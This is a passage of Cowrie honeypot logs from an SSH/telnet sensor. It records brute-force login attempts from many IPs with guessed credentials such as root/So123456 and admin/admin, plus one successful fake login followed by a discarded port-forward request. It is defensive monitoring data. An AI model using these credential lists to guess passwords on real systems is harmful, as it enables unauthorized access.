f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:45:30.055429Z","src_ip":"203.121.40.210","session":"e01ed4cf9157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"So123456","message":"login attempt [root/So123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:45:32.288695Z","src_ip":"203.121.40.210","session":"e01ed4cf9157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:45:33.530515Z","src_ip":"203.121.40.210","session":"e01ed4cf9157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":54072,"dst_ip":"10.17.0.5","dst_port":22,"session":"70ae58e34c8b","protocol":"ssh","message":"New connection: 194.36.147.215:54072 (10.17.0.5:22) [session: 70ae58e34c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:45:34.535883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:45:34.539811Z","src_ip":"194.36.147.215","session":"70ae58e34c8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:45:34.629832Z","src_ip":"194.36.147.215","session":"70ae58e34c8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zilwallet","password":"zilliqa123","message":"login attempt [zilwallet/zilliqa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:45:34.901726Z","src_ip":"194.36.147.215","session":"70ae58e34c8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:45:36.003139Z","src_ip":"194.36.147.215","session":"70ae58e34c8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":55836,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ce5d89e8615","protocol":"telnet","message":"New connection: 94.23.66.112:55836 (10.17.0.5:23) [session: 4ce5d89e8615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:45:40.576257Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.247.63.92","src_port":13298,"dst_ip":"10.17.0.5","dst_port":22,"session":"c759fcdfc69f","protocol":"ssh","message":"New connection: 180.247.63.92:13298 (10.17.0.5:22) [session: c759fcdfc69f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:45:58.391211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:45:58.395857Z","src_ip":"180.247.63.92","session":"c759fcdfc69f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:45:58.660826Z","src_ip":"180.247.63.92","session":"c759fcdfc69f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@101","message":"login attempt [root/Admin@101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:45:59.740971Z","src_ip":"180.247.63.92","session":"c759fcdfc69f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:01.004792Z","src_ip":"180.247.63.92","session":"c759fcdfc69f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.138.209.214","src_port":50530,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba9abd31b832","protocol":"ssh","message":"New connection: 94.138.209.214:50530 (159.203.135.109:22) [session: ba9abd31b832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:07.014173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:07.021574Z","src_ip":"94.138.209.214","session":"ba9abd31b832","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:07.156809Z","src_ip":"94.138.209.214","session":"ba9abd31b832","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"12345678910","message":"login attempt [deploy/12345678910] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:07.736640Z","src_ip":"94.138.209.214","session":"ba9abd31b832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:08.874090Z","src_ip":"94.138.209.214","session":"ba9abd31b832","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":46166,"dst_ip":"10.17.0.5","dst_port":22,"session":"38b5f638226d","protocol":"ssh","message":"New connection: 91.92.40.4:46166 (10.17.0.5:22) [session: 38b5f638226d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:09.660866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:09.698864Z","src_ip":"91.92.40.4","session":"38b5f638226d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:09.782545Z","src_ip":"91.92.40.4","session":"38b5f638226d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:10.262086Z","src_ip":"91.92.40.4","session":"38b5f638226d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:11.369514Z","src_ip":"91.92.40.4","session":"38b5f638226d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52546,"dst_ip":"159.203.135.109","dst_port":23,"session":"983bcbf27276","protocol":"telnet","message":"New connection: 170.64.224.25:52546 (159.203.135.109:23) [session: 983bcbf27276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:39.194356Z"}
{"eventid":"cowrie.session.closed","duration":66.10183906555176,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:46.677867Z","src_ip":"94.23.66.112","session":"4ce5d89e8615","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":21112,"dst_ip":"10.17.0.5","dst_port":22,"session":"7187dd3d27df","protocol":"ssh","message":"New connection: 176.53.159.196:21112 (10.17.0.5:22) [session: 7187dd3d27df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:48.253752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:48.260514Z","src_ip":"176.53.159.196","session":"7187dd3d27df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:48.357646Z","src_ip":"176.53.159.196","session":"7187dd3d27df","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:48.650469Z","src_ip":"176.53.159.196","session":"7187dd3d27df","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:48.750592Z","session":"7187dd3d27df","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:48.852048Z","src_ip":"176.53.159.196","session":"7187dd3d27df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:48.952566Z","src_ip":"176.53.159.196","session":"7187dd3d27df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33472,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a48f904094b","protocol":"telnet","message":"New connection: 170.64.224.25:33472 (159.203.135.109:23) [session: 5a48f904094b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:46:57.479671Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":36692,"dst_ip":"10.17.0.5","dst_port":22,"session":"1518afe7bcd8","protocol":"ssh","message":"New connection: 210.90.155.178:36692 (10.17.0.5:22) [session: 1518afe7bcd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:05.592358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:05.599572Z","src_ip":"210.90.155.178","session":"1518afe7bcd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:05.806198Z","src_ip":"210.90.155.178","session":"1518afe7bcd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"Admin@123","message":"login attempt [Admin/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:06.658890Z","src_ip":"210.90.155.178","session":"1518afe7bcd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:07.866592Z","src_ip":"210.90.155.178","session":"1518afe7bcd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.121.40.210","src_port":47324,"dst_ip":"159.203.135.109","dst_port":22,"session":"865f1f357ca1","protocol":"ssh","message":"New connection: 203.121.40.210:47324 (159.203.135.109:22) [session: 865f1f357ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:19.347816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:19.351850Z","src_ip":"203.121.40.210","session":"865f1f357ca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:19.696766Z","src_ip":"203.121.40.210","session":"865f1f357ca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"muie123","message":"login attempt [ubuntu/muie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:21.121032Z","src_ip":"203.121.40.210","session":"865f1f357ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:22.374297Z","src_ip":"203.121.40.210","session":"865f1f357ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.445640087127686,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:33.925175Z","src_ip":"170.64.224.25","session":"5a48f904094b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.86694598197937,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:35.061171Z","src_ip":"170.64.224.25","session":"983bcbf27276","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":42808,"dst_ip":"10.17.0.5","dst_port":22,"session":"a216e1a84fd5","protocol":"ssh","message":"New connection: 91.92.40.4:42808 (10.17.0.5:22) [session: a216e1a84fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:45.047392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:45.115315Z","src_ip":"91.92.40.4","session":"a216e1a84fd5","protocol":"ssh"}
